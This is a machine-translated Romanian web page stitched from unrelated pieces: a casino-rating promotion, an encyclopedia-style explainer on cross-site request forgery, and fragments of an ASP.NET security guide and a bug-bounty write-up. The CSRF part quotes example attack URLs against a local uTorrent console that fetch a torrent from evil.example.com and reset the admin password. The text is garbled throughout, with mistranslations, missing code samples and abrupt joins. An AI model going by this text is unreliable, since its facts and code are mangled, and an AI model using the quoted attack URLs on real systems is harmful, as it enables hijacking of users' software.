Ce este valoarea CSRF. Ce este CSRF? Înțelesul termenului CSRF

Găsirea cazinourilor online fiabile și oneste necesită mult timp liber, mai ales când vine vorba de începători. Este necesar să se evalueze transparența clubului de jocuri, reputația acestuia în rețea, recenziile altor utilizatori, viteza plăților și mulți alți factori de activitate. Pentru a salva jucătorii de această soartă, am compilat ratingul cazinoului , care au fost testate temeinic și și-au confirmat propria onestitate și o bună rentabilitate a sloturilor.

Clasamentul nostru cu cele mai bune cazinouri

Nu mai trebuie să petreceți timp personal verificând fiabilitatea instituției. Analiști cu experiență în jocuri de noroc care petrec zeci de ore în cazinouri în fiecare lună și-au făcut propria evaluare obiectivă a activității cluburilor de jocuri de noroc. Au analizat sute de unități pentru a oferi în cele din urmă utilizatorilor cele mai bune platforme de pe Internet.

Lista inițială a cluburilor a fost destul de mare, dar în timpul analizei, instituțiile dubioase și nesigure au dispărut. De exemplu, prezența unei licențe false, lipsa certificatelor pentru sloturi, înlocuirea unui server într-un slot machine și multe altele servesc drept avertisment pentru experți. Chiar și un factor care vă permite să vă îndoiți de onestitatea cazinoului este un motiv de excludere din rating.

Pe lângă o analiză superficială a platformelor de jocuri de noroc, sunt verificate informații despre unitățile de pe internet. Reputația online, recenziile jucătorilor actuali și foști, prezența unor situații de conflict, scandalurile cu cazinourile și modalitățile de soluționare a problemelor de la creatori sunt luate în considerare în analiză. O atenție deosebită este acordată cluburilor tinere cu experiență profesională de până la 1-2 ani.

Cum este compilat ratingul cazinoului și cine ajunge acolo?

Pentru a crea ratingul cazinourilor autorizateatragem jucători și analiști cu experiență cu peste 10 ani de experiență în industrie. Datorită cunoștințelor lor, pot elimina cu ușurință cluburile frauduloase și apoi pot efectua o analiză amănunțită a unităților rămase. Rezultatul este o mică listă de cazinouri de încredere unde puteți juca în siguranță fără teamă pentru onestitatea rezultatelor și a plăților.

  • prezența unei licențe de la autoritatea de reglementare a jocurilor de noroc și a jurisdicției alese pentru înregistrare;
  • securitatea platformei, care garantează confidențialitatea datelor și a informațiilor de plată;
  • selectarea de software licențiat de la furnizori de încredere, în a căror activitate este imposibil să intervină;
  • disponibilitatea unei versiuni în limba rusă pentru o mai mare comoditate a utilizatorilor din Rusia și din țările CSI;
  • serviciul de asistență, inclusiv programul de lucru, viteza răspunsurilor, calitatea rezolvării problemelor;
  • retragerea banilor fără întârzieri sau verificări suplimentare, precum și opțiuni de primire a banilor și rapiditatea procesării tranzacțiilor;
  • programe bonus pentru utilizatorii noi și obișnuiți, prezența turneelor, loteriilor, promoțiilor periodice;
  • sisteme de plată care afectează comoditatea clienților de a completa un cont și de a retrage câștigurile.

Aceasta este doar o mică listă de cerințe reale care sunt evaluate de experți. Fiecare criteriu primește propriul factor de importanță, care este luat în considerare la însumarea rezultatului final.

Ce este un cazinou autorizat?

Evaluarea cazinoului , mărturisind onestitatea și transparența activității platformelor de jocuri de noroc, poate consta exclusiv din unități cu licențe valide pentru activități. Cluburile legale sunt obligate să treacă audituri de reglementare și să respecte toate reglementările pentru a obține aprobarea.

Simpla menționare a unei licențe pe site nu este suficientă. Experții înțeleg că escrocii pot folosi sigle pentru a înșela utilizatorii naivi, astfel încât aceștia să analizeze în mod independent informațiile. Pentru a face acest lucru, accesați site-ul oficial al autorității de reglementare și confirmați informațiile folosind numărul documentului sau numele persoanei juridice. Dacă nu există informații despre licență, atunci acestea sunt false.

Analiștii folosesc, de asemenea, analize tehnice pentru a verifica software-ul licențiat. Folosind instrumentele pentru dezvoltatori, aceștia au acces la informații despre serverul de transfer de date. Dacă cazinoul folosește portalul oficial al furnizorului de software, atunci software-ul este corect și legal. Aceasta înseamnă că nu puteți interfera cu munca sa și modificați rezultatele finale.

Cum se determină corectitudinea cazinourilor?

Este destul de dificil să evaluezi în mod independent onestitatea unui club de jocuri, care este asociat cu cantitatea de resurse și cunoștințe disponibile. Înainte de includerea unităților înrating cinstit la cazinou, analiștii efectuează o verificare amănunțită a mai multor factori:

  • regiunile din care sunt luați jucătorii, din moment ce jurisdicțiile interzise vorbesc foarte mult;
  • limite de retragere, limitând tranzacțiile unice, precum și suma zilnică, săptămânală și lunară a tranzacțiilor;
  • disponibilitatea informațiilor despre KYC și AML, care indică conformitatea cu cerințele legislației privind onestitatea și legalitatea originii banilor;
  • reputație care confirmă onestitatea și fiabilitatea clubului și absența scandalurilor sau problemelor de profil înalt;
  • durata muncii, permițându-vă să evaluați pe deplin istoricul resursei online, inclusiv toate avantajele și dezavantajele;
  • prezența unui organism de reglementare și respectarea regulilor acestuia, ceea ce crește șansele de corectitudine a activității.

Licența și autoritatea de reglementare sunt criterii destul de importante, dar aceasta nu oferă o garanție 100% a onestității. Numai cluburile care le-au permis jucătorilor să obțină victorii și jackpot-uri mari, au dat cadouri pentru loterii și turnee, pot conta pe un astfel de titlu.

Soiuri de slot machines

Numărul de sloturi, mașini și alte tipuri de divertisment pentru jocuri de noroc spune multe despre instituție. Unele cluburi cooperează doar cu câțiva furnizori de software, dar primesc oferte noi și populare de jocuri, în timp ce altele își extind rețeaua de acorduri de parteneriat și invită un număr mare de mărci să coopereze. Cu cât sunt prezentate mai multe mașini pe platforma de jocuri, cu atât este mai ușor pentru client să aleagă slotul care îi place.

Dar ratingul cazinourilor autorizateia în considerare nu numai varietatea jocurilor, ci și calitatea acestora. Unitățile fiabile de jocuri de noroc folosesc software licențiat exclusiv care a fost testat pentru onestitate și siguranță. Astfel de mașini vă permit să vă bazați pe o rentabilitate de până la 98% și nu puteți interfera cu munca lor și să modificați algoritmul pentru generarea de rezultate.

Sincer vorbind, toate site-urile vizează obținerea unui profit. Chiar dacă unul dintre jucători câștigă jackpot-ul, pe termen lung, instituția rămâne în negru. Dar numai cluburile oneste permit utilizatorilor să obțină un jackpot mare și să îl retragă într-un cont real. Aceasta diferențiază cazinourile online autorizate de proiectele frauduloase.

Politica bonusului

Creați un rating de cazino este imposibil fără a lua în considerare politica de bonusuri. Toate cluburile de jocuri folosesc promoții și cadouri pentru a atrage noi clienți și a păstra clienții existenți. Dar unele dintre unități acționează destul de viclean, creând condiții ascunse pentru pariuri sau acumulări, stabilind condiții nerealiste pentru pariuri în intervalul x60-100, care sunt aproape imposibil de îndeplinit.

Setul standard de stimulente constă din următoarele categorii:

  1. Fără bonus de depunere pentru primirea clienților noi - creditat pentru confirmarea adresei de e-mail și a numărului de telefon. Ca recompensă sunt folosiți bani sau rotiri gratuite pe sloturile cu o cerință obligatorie de pariere.
  2. Cadou de înregistrare - rotiri gratuite sau multiplicatori ai valorii de completare a contului pentru 1-5 depozite din momentul creării unui profil personal. Suma exactă a bonusului și limitele maxime sunt stabilite individual de fiecare club.
  3. Program de loialitate - diverse sisteme de stări ale utilizatorilor care afectează mărimea rambursării săptămânale, disponibilitatea termenilor de serviciu personal, cadourilor individuale, un curs de schimb favorabil al monedei locale pentru bani și multe altele.
  4. Codurile promoționale sunt promoții periodice de la cluburi de jocuri de noroc care oferă certificate cadou pentru rotiri gratuite, fără depuneri sau multiplicatori de cont pentru toată lumea.

Cazinouri de limbă rusă

Constituind ratingul celor mai bune cazinouri din 2020, se ține seama de prezența limbii ruse pe platformă. Interfața în limba rusă permite utilizatorilor din Rusia, Belarus, Ucraina și țările CSI să se ocupe cu ușurință de înregistrare, autentificare, completarea contului și alte caracteristici ale platformei. De asemenea, confirmă faptul că instituția se concentrează pe utilizatorii de limbă rusă, oferindu-le bonusuri și asistență unice.

Munca serviciului de asistență este luată în considerare. Majoritatea cluburilor de jocuri de noroc oferă asistență clienților exclusiv în limba engleză, ceea ce complică procesul de comunicare. Trebuie să utilizați un traducător sau să contactați persoane cu cunoștințe pentru a compune o cerere și pentru a înțelege răspunsul la asistență. Prin urmare, evaluarea include numai acele cluburi online care sfătuiesc clienții în chat-uri de asistență și telefonic în limba rusă.

Interfața în limba rusă din cazinou vă va permite să înțelegeți cu ușurință regulile de utilizare ale platformei, să studiați ofertele de bonusuri și caracteristicile acumulărilor lor, să pariați, să participați la turnee și loterii fără nici o îndoială cu privire la corectitudinea acțiunilor.

Casinouri cu încasări rapide

O atenție deosebită este acordată vitezei de plată în cazinourile online. Unele cluburi oferă retrageri pe carduri bancare și portofele electronice în câteva ore, iar pentru clienții VIP procesează cererile instantaneu. Alții folosesc procesarea manuală a cererilor în zilele lucrătoare conform unui program special, astfel încât plățile pot fi amânate cu până la 1-3 zile lucrătoare de la data depunerii cererii. Pentru a salva utilizatorii de timpii lungi de așteptare, creatrating cazinou cu retragere rapidă.

Se compune exclusiv din acele instituții care revizuiesc cu promptitudine toate cererile și nu creează obstacole în calea primirii banilor. Nu numai viteza transferurilor este luată în considerare, ci și absența problemelor atunci când se solicită plăți mari sau transferuri de bani după câștigarea unui jackpot, un jackpot mare. Numai unitățile oneste pot garanta plăți corecte și nu au probleme cu plățile.

De asemenea, analizează sistemele de plată disponibile pentru depozite și solicitarea de bani. Site-urile standard acceptă un număr minim de moduri, dar cluburile progresive analizează constant tendințele pentru a integra noi soluții tehnice.

Principalele sisteme de plată din cazinourile online:

  • carduri bancare MIR, MasterCard, Visa;
  • portofele electronice QIWI, Yandex, Webmoney, Neteller, Skrill și altele;
  • plăți mobile Beeline, MegaFon, MTS, TELE2;
  • Servicii bancare ruse pe internet;
  • criptomonede populare, inclusiv Bitcoin, Ethereum, Litecoin.

Serviciul de asistență pentru clienți

Un factor important care a fost luat în considerare pentru a crearating cinstit la cazinou- disponibilitatea asistenței pentru clienți și calitatea activității sale. Unitățile de încredere au grijă de propria bază de clienți, prin urmare organizează linii telefonice speciale, precum și chat-uri online pentru a răspunde prompt la întrebările utilizatorilor și a le rezolva problemele.

Analiștii au folosit linii telefonice, chat-uri live și contacte de e-mail pentru a analiza asistența. În diferite momente ale zilei, personalul site-ului a primit diverse întrebări sau cereri pentru a face față problemelor tehnice. După aceea, a fost evaluată calitatea muncii lor, care a inclus următorii factori:

  • viteza de furnizare a răspunsurilor;
  • dacă consultantul rezolvă problema și cât a durat;
  • alfabetizarea răspunsurilor și disponibilitatea angajaților de limbă rusă în sprijin.

Dacă cazinoul nu are operatori de limbă rusă, vă recomandăm să folosiți un traducător online de la Google pentru a traduce întrebări și răspunsuri de la consultanți.

concluzii

Înainte de a vă înregistra într-un club online, trebuie să analizați fiabilitatea, transparența activității sale, precum și să verificați reputația și recenziile din rețea. În schimb, vă sugerăm să utilizațirating cinstit la cazinoucompilat de jucători cu experiență. Prin propria experiență, au respins zeci de cluburi de jocuri de noroc suspecte, lăsând lista celor mai bune unități din 2020 pe listă.

Solicitare de falsificare inter-site de asemenea cunoscut ca si atac cu un singur clic sau sesiune de conducereși prescurtat CSRF(uneori pronunțat foraj de maree) sau XSRF, este un tip de malware exploatat de pe un site web în care sunt trimise comenzi neautorizate de la utilizator în care are încredere aplicația web. Există multe moduri în care un site web rău intenționat poate transmite astfel de comenzi; etichetele de imagine special create, formularele ascunse și cererile JavaScript XMLHttpRequests, de exemplu, pot funcționa fără interacțiunea utilizatorului sau chiar cu cunoștințe. Spre deosebire de cross-site scripting (XSS), care folosește încrederea pe care o are un utilizator pentru un anumit site, CSRF exploatează încrederea pe care o are un site în browserul utilizatorului.

istorie

Vulnerabilitățile CSRF sunt cunoscute și au fost exploatate în unele cazuri începând cu 2001. Deoarece adresa IP este furnizată de utilizator, este posibil ca unele jurnale ale site-ului web să nu aibă dovezi CSRF. Exploatările sunt subreportate, cel puțin public, iar începând cu 2007 au existat câteva exemple bine documentate:

  • Site-ul Netflix din 2006 avea numeroase vulnerabilități CSRF care ar putea permite unui atacator să efectueze acțiuni precum adăugarea unui DVD la coada de închiriere a victimei, schimbarea adresei de livrare a unui cont sau schimbarea acreditării de conectare a victimei pentru a compromite complet contul.
  • Aplicația web bancară online ING Direct era vulnerabilă la atacurile CSRF, care permiteau transferuri ilegale de bani.
  • Popularul site web video YouTube a fost, de asemenea, vulnerabil la CSRF în 2008 și acest lucru a permis oricărui atacator să efectueze practic toate acțiunile oricărui utilizator.
  • McAfee este, de asemenea, vulnerabil la CSRF, permițând atacatorilor să își modifice sistemul companiei.

Noi atacuri asupra dispozitivelor web au fost efectuate în 2018, inclusiv încercări de modificare a setărilor DNS ale routerelor. Mai mulți producători de rute au lansat în grabă o actualizare de firmware pentru a îmbunătăți securitatea și au sfătuit utilizatorul să modifice setările routerului pentru a reduce riscul. Detaliile nu au fost publicate, invocând „motive evidente de securitate”.

Exemplu și caracteristici

Atacatorii care pot găsi un link reproductibil care efectuează o acțiune specifică pe pagina de destinație în timp ce victima se înregistrează pot încorpora un astfel de link în pagina pe care o controlează și pot păcăli victima să o deschidă. Legătura operatorului de atac poate fi plasată într-o locație pe care victima este cel mai probabil să o viziteze prin accesarea site-ului țintă (cum ar fi o discuție pe forum) sau trimisă într-un corp de e-mail sau atașament HTML. Vulnerabilitatea reală CSRF din Utorrent (CVE-2008-6586) a exploatat faptul că consola sa web este disponibilă pe gazda locală: 8080 a permis efectuarea acțiunilor critice cu o simplă solicitare GET:

Forțează descărcarea fișierului .torrent http: // local: 8080 / GUI / action = add url & s = http: //evil.example.com/backdoor.torrent Schimbă parola de administrator Utorrent HTTP: // local: 8080 / gui / action = setare & s = webui.password & v = eviladmin

Atacurile au fost lansate prin postarea de elemente de imagine HTML automate rău intenționate pe forumuri și e-mailuri spam, astfel încât browserele care vizitează acele pagini să le deschidă automat fără prea multe acțiuni ale utilizatorului. Persoanele care rulează versiunea vulnerabilă a Utorrent în același timp care deschid aceste pagini au fost vulnerabile la atac.

Atacurile CSRF folosind etichete de imagine se fac adesea de pe forumuri online unde utilizatorii pot posta imagini, dar nu JavaScript, de exemplu folosind BBCode:

Http: // localhost: 8080 / gui /? Action = add-url & s = http: //evil.example.com/backdoor.torrent

Când accesați un link de atac pe aplicația locală Utorrent de pe localhost: 8080, browserul va trimite întotdeauna automat orice cookie existent pentru acel domeniu. Această proprietate comună a browserelor web permite atacurilor CSRF să exploateze vulnerabilitățile vizate și să efectueze acțiuni ostile atâta timp cât utilizatorul este conectat pe site-ul țintă (în acest exemplu, interfața web locală Utorrent) în momentul atacului.

Solicitarea de falsificare între site-uri este un atac proxy confuz împotriva unui browser web.

CSRF are de obicei următoarele caracteristici:

  • Include site-uri care se bazează pe identitatea utilizatorului.
  • Folosește încrederea site-ului în această identitate.
  • Îl păcălește pe browserul utilizatorului să trimită cereri HTTP către site-ul țintă.
  • Include solicitări HTTP care au efecte secundare.

Verbe HTTP și CSRF

  • În HTTP GET, exploatarea CSRF este banală folosind tehnicile descrise mai sus, cum ar fi un hyperlink simplu care conține parametri manipulați și încărcat automat folosind eticheta IMG. Conform specificațiilor HTTP, totuși, GET ar trebui utilizat ca metodă sigură, adică fără a schimba în mod semnificativ starea utilizatorului din aplicație. Aplicațiile care utilizează GET pentru astfel de operațiuni ar trebui să treacă la HTTP POST sau să utilizeze protecție CSRF.
  • HTTP POST are vulnerabilități diferite față de CSRF, în funcție de scenariile de utilizare detaliate:
    • În cea mai simplă formă, POST cu date codificate ca șir de interogare (câmp1 = valoare1 și câmp2 = valoare2) Atacurile CSRF sunt ușor de implementat folosind un formular HTML simplu și trebuie aplicate măsuri anti-CSRF.
    • Dacă datele sunt trimise în orice alt format (JSON, XML) metoda standard este de a emite o cerere POST utilizând XMLHttpRequest cu atacuri CSRF prevenite de SOP și; există o metodă pentru trimiterea conținutului arbitrar dintr-un formular HTML simplu folosind atributul ENCTYPE; o astfel de cerere falsă poate fi distinsă de cele legitime prin tipul de text / conținut simplu, dar dacă nu este executată pe server, CSRF poate fi efectuat
  • alte metode HTTP (PUT, DELETE etc.) pot fi emise numai folosind XMLHttpRequest cu prevenire SOP și CSRF; Cu toate acestea, aceste măsuri nu vor fi active pe site-urile care le dezactivează în mod explicit folosind antetul Access-Control-Allow-Origin: *

Alte abordări ale CSRF

În plus, deși este de obicei descris ca un tip static de atac, CSRF poate fi, de asemenea, construit dinamic ca parte a sarcinii utile pentru scenarii de atac între site-uri, așa cum este arătat de viermele Samy, sau construit din mers din informațiile de sesiune scurse prin off- conținutul site-ului. și trimis la țintă ca o adresă URL rău intenționată. Jetoanele CSRF pot fi trimise și de un client atacator din cauza fixării sesiunii sau a altor vulnerabilități sau ghicite printr-un atac cu forță brută tradus într-o pagină rău intenționată care generează mii de cereri eșuate. Clasa de atac „Dynamic CSRF”, sau folosind sarcina utilă a fiecărui client pentru o sesiune specifică de spoofing, a fost descrisă în 2009 de Nathan Hamiel și Sean Moyer la briefing-urile BlackHat, deși taxonomia trebuie aplicată mai mult.

Un nou vector pentru elaborarea atacurilor CSRF dinamice a fost prezentat de Oren Ofer la reuniunea locală a Capitolului OWASP ianuarie 2012 - „AJAX Hammer - Dynamic CSRF”.

Efecte

S-au lansat valori de severitate asupra vulnerabilităților CSRF care duc la executarea codului la distanță cu privilegii de superutilizator, precum și o vulnerabilitate care ar putea compromite un certificat rădăcină care ar submina complet infrastructura cheii publice.

Restricții

Mai multe lucruri trebuie să se întâmple pentru ca o cerere de falsificare inter-site să aibă succes:

  1. Atacatorul trebuie să vizeze fie un site care nu validează antetul referentului sau victima utilizând un browser, fie un plugin care permite falsificarea referitorului.
  2. Atacatorul trebuie să găsească un formular de trimitere pe site-ul țintă sau un URL care are efecte secundare, să facă ceva (de exemplu, să transfere bani sau să schimbe adresa de e-mail sau parola victimei).
  3. Atacatorul trebuie să determine valorile corecte pentru toate formularele sau intrările URL; dacă se presupune că oricare dintre acestea sunt valori sau identificatori de autentificare secreți pe care atacatorul nu îi va putea ghici, cel mai probabil atacul nu este capabil (cu excepția cazului în care atacatorul este foarte norocos să-i ghicească).
  4. Atacatorul trebuie să atragă victima într-o pagină web cu cod rău intenționat în timp ce victima se înregistrează pe site-ul țintă.

Atacul este orb: atacatorul nu poate vedea ceea ce site-ul țintă trimite înapoi victimei ca răspuns la cereri falsificate, cu excepția cazului în care exploatează scripturi cross-site sau alte erori pe site-ul țintă. În plus, un atacator poate viza orice link sau poate trimite orice formulare care vin după cererea inițială falsificată, dacă aceste linkuri sau formulare ulterioare sunt previzibile în mod similar. (Mai multe ținte pot fi modelate incluzând mai multe imagini pe o pagină sau folosind JavaScript pentru a introduce o întârziere între clicuri.)

Având în vedere aceste limitări, un atacator ar putea avea dificultăți în găsirea supunerii anonime sau vulnerabile a victimei. Pe de altă parte, încercările de atac sunt ușor de asamblat și invizibile pentru victime, iar dezvoltatorii de aplicații sunt mai puțin familiarizați și pregătiți pentru atacurile CS decât sunt, să zicem, pentru a sparge parolele din atacurile din dicționar.

prevenirea

Majoritatea tehnicilor de prevenire CSRF funcționează prin injectarea de date suplimentare de autentificare în solicitări, permițând aplicației web să detecteze solicitările din locații neautorizate.

Model de marker sincronizator

  • Când este conectată, aplicația web setează un cookie care conține un simbol aleatoriu care rămâne neschimbat pe toată durata sesiunii utilizatorului
Set-Cookie: Csrf-token = i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expiră = Joi, 23-Iul-2015 10:25:33 GMT; Max-Age = 31449600; Calea = /
  • JavaScript rulează pe partea clientului, citește valoarea și o copiază în antetul HTTP personalizat trimis cu fiecare cerere tranzacțională
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Serverul verifică prezența și integritatea jetoanelor

Siguranța acestei metode se bazează pe presupunerea că numai JavaScript care rulează în aceeași origine va putea citi semnificația cookie-ului. JavaScript funcționează cu un fișier fals sau e-mailul nu va putea citi și copia într-un antet personalizat. Chiar dacă simbolul CSRF cookie-uri va fi trimis automat de la solicitarea necinstiți, serverul va aștepta în continuare un simbol X-CSRF valid îndreptare .

Jetonul CSRF în sine trebuie să fie unic și imprevizibil. Poate fi generat aleatoriu sau poate fi derivat din jetoane de sesiune folosind HMAC:

Csrf_token = HMAC (session_token, application_secret)

Marcatorul cookie CS nu ar trebui să aibă steagul HTTPOnly, deoarece este menit să fie citit folosind designul JavaScript.

Această tehnică este implementată de multe cadre moderne, cum ar fi Django și AngularJS. Deoarece simbolul rămâne constant pe toată durata sesiunii utilizatorului, acesta funcționează bine cu aplicațiile AJAX, dar nu oferă o succesiune de evenimente în aplicațiile web.

Protecția oferită prin această metodă poate fi compromisă dacă site-ul țintă se deconectează politica sa de aceeași origine utilizând una dintre următoarele metode:

  • Antet permisiv-Control-Permite-Origine (cu argument asterisc)
  • fișier clientaccesspolicy.xml care oferă acces neintenționat la controlul Silverlight
  • fișier crossdomain.xml care oferă acces neintenționat la filme flash

Cookie de trimitere dublă

Similar cu abordarea cookie-to-header, dar fără JavaScript implicat, site-ul poate seta simbolul CSRF ca cookie și, de asemenea, îl poate introduce într-un câmp ascuns în fiecare formular HTML trimis de client. Când formularul este trimis, site-ul poate verifica dacă markerul cookie se potrivește cu forma markerilor. Politica generică de origine împiedică un atacator să citească sau să seteze cookie-uri pe domeniul țintă, deci nu poate furniza simbolul corect în forma generată.

Avantajul acestei metode față de modelul de sincronizare este că simbolul nu trebuie stocat pe server.

Garanțiile clienților

Extensiile de browser, cum ar fi RequestPolicy (pentru Mozilla Firefox) sau Umatrix (pentru Firefox și Google Chrome / Chromium), pot preveni CSRF oferind o politică de refuz implicită pentru cererile de pe site-uri. Cu toate acestea, acest lucru poate interfera semnificativ cu funcționarea normală a multor site-uri. Extensia CsFire (de asemenea, pentru Firefox) poate atenua impactul CSRF cu un impact mai mic asupra navigării obișnuite, eliminând informațiile de autentificare din solicitările de pe site-uri.

ASP.NET MVC nu este cel mai hype, ci destul de popular în rândul dezvoltatorilor de web. Din punctul de vedere al unui (anti) hacker, funcționalitatea sa standard vă oferă o anumită securitate de bază, dar este necesară o protecție suplimentară pentru a vă proteja de marea majoritate a trucurilor hackerilor. În acest articol, vom trece în revistă elementele de bază pe care un dezvoltator ASP.NET (fie că este Core, MVC, MVC Razor sau Web Forms) ar trebui să știe despre securitate.

Să începem cu toate tipurile cunoscute de atacuri.

Injecție SQL

Destul de ciudat, dar în 2017 injecția și, în special, injecția SQL sunt pe primul loc printre „Top-10 riscuri de securitate OWASP” (Open Web Application Security Project). Acest tip de atac implică faptul că datele introduse de utilizator sunt utilizate pe partea serverului ca parametri de interogare.

Exemplul injecției SQL clasice este mai tipic pentru aplicațiile Web Forms. Utilizarea parametrilor ca valori de interogare ajută la protejarea împotriva atacurilor:

String commandText = "ACTUALIZARE Utilizator SETARE STARE = ​​1 UNDE ID CLIENT = @ID;"; SqlCommand command = new SqlCommand (commandText, connectionString); command.Parameters ["@ ID"]. Valoare = ID client;

Dacă dezvoltați o aplicație MVC, atunci Entity Framework acoperă unele vulnerabilități. Pentru a obține o injecție SQL care funcționează într-o aplicație MVC / EF, trebuie să creați. Cu toate acestea, acest lucru este posibil dacă executați SQL utilizând ExecuteQuery sau apelați proceduri stocate slab scrise.

Deși ORM evită injecția SQL (cu excepția exemplelor de mai sus), este recomandat să restricționați atributele la valorile pe care câmpurile modelului și, prin urmare, formele le pot lua. De exemplu, dacă se presupune că numai textul poate fi introdus într-un câmp, atunci utilizați Regex pentru a specifica intervalul ^ + $. Și dacă numerele trebuie introduse în câmp, atunci indicați acest lucru ca o cerință:

Șir public Zip (get; set;)

În Formulare Web, puteți limita valorile folosind validatori. Exemplu:

Întrucât formularele web .NET 4.5 utilizează validarea discretă. Aceasta înseamnă că nu trebuie să scrieți niciun cod suplimentar pentru a valida valoarea formularului.

Validarea datelor, în special, poate ajuta la protejarea împotriva unei alte vulnerabilități cunoscute numită cross-site scripting (XSS).

XSS

Un exemplu tipic de XSS este adăugarea unui script la o intrare de comentariu sau carte de oaspeți. Poate arăta astfel:

După cum vă puteți imagina, în acest exemplu, cookie-urile de pe site-ul dvs. sunt transmise ca parametru unor resurse de hacker.

În Formulare web, puteți face o greșeală cu codul de acest fel:

scuze<%= username %>dar parola este greșită

Este clar că în loc de nume de utilizator poate exista un script. Pentru a evita executarea scriptului, puteți utiliza cel puțin o altă expresie ASP.NET: care codifică conținutul său.

Dacă folosim Razor, atunci șirurile sunt codate automat, ceea ce minimizează posibilitatea implementării XSS - un hacker va putea să-l deschidă numai dacă faceți o greșeală gravă, de exemplu, utilizați @ Html.Raw (Model.username) sau utilizați MvcHtmlString în loc de șir în modelul dvs.

Pentru protecție suplimentară împotriva XSS, datele sunt, de asemenea, codificate în cod C #. În NET Core, puteți utiliza următoarele codificatoare din spațiul de nume System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder și UrlEncoder.

Următorul exemplu va returna șirul 6 7 8

Practic, atunci când victima a încărcat pagina, a făcut o cerere către scriptul Badoo, a luat parametrul rt pentru acel utilizator și apoi a făcut cererea în numele victimei. În acest caz, legătura dintre contul lui Mahmoud și contul victimei, ceea ce a permis preluarea completă a contului.

concluzii

Acolo unde este fum, există foc. Aici Mahmoud a observat că parametrul rt a fost returnat în diferite locuri, în răspunsuri JSON specifice. Deci, el a presupus corect că ar putea fi afișat undeva unde ar putea fi folosit în acest caz într-un fișier js.

Rezultate

Atacurile CSRF reprezintă un alt vector periculos pentru atacuri și pot fi efectuate fără acțiuni active din partea victimei sau fără nicio notificare. Găsirea vulnerabilităților CSRF necesită o anumită ingeniozitate și, din nou, disponibilitatea de a testa totul.

De obicei, formularele sunt apărate în mod implicit cu cadre precum Rails dacă site-ul face o cerere POST, dar API-urile pot

fii o poveste separată. De exemplu, Shopify este scris în principal pe baza cadrului Ruby on Rails, care oferă protecție CSRF pentru toate formularele în mod implicit (deși poate fi dezactivat). Cu toate acestea, este clar că acest lucru nu este neapărat cazul API-urilor construite cu acest cadru. În cele din urmă, acordați atenție apelurilor care modifică datele de pe server (cum ar fi o acțiune de ștergere) și sunt efectuate utilizând o solicitare GET.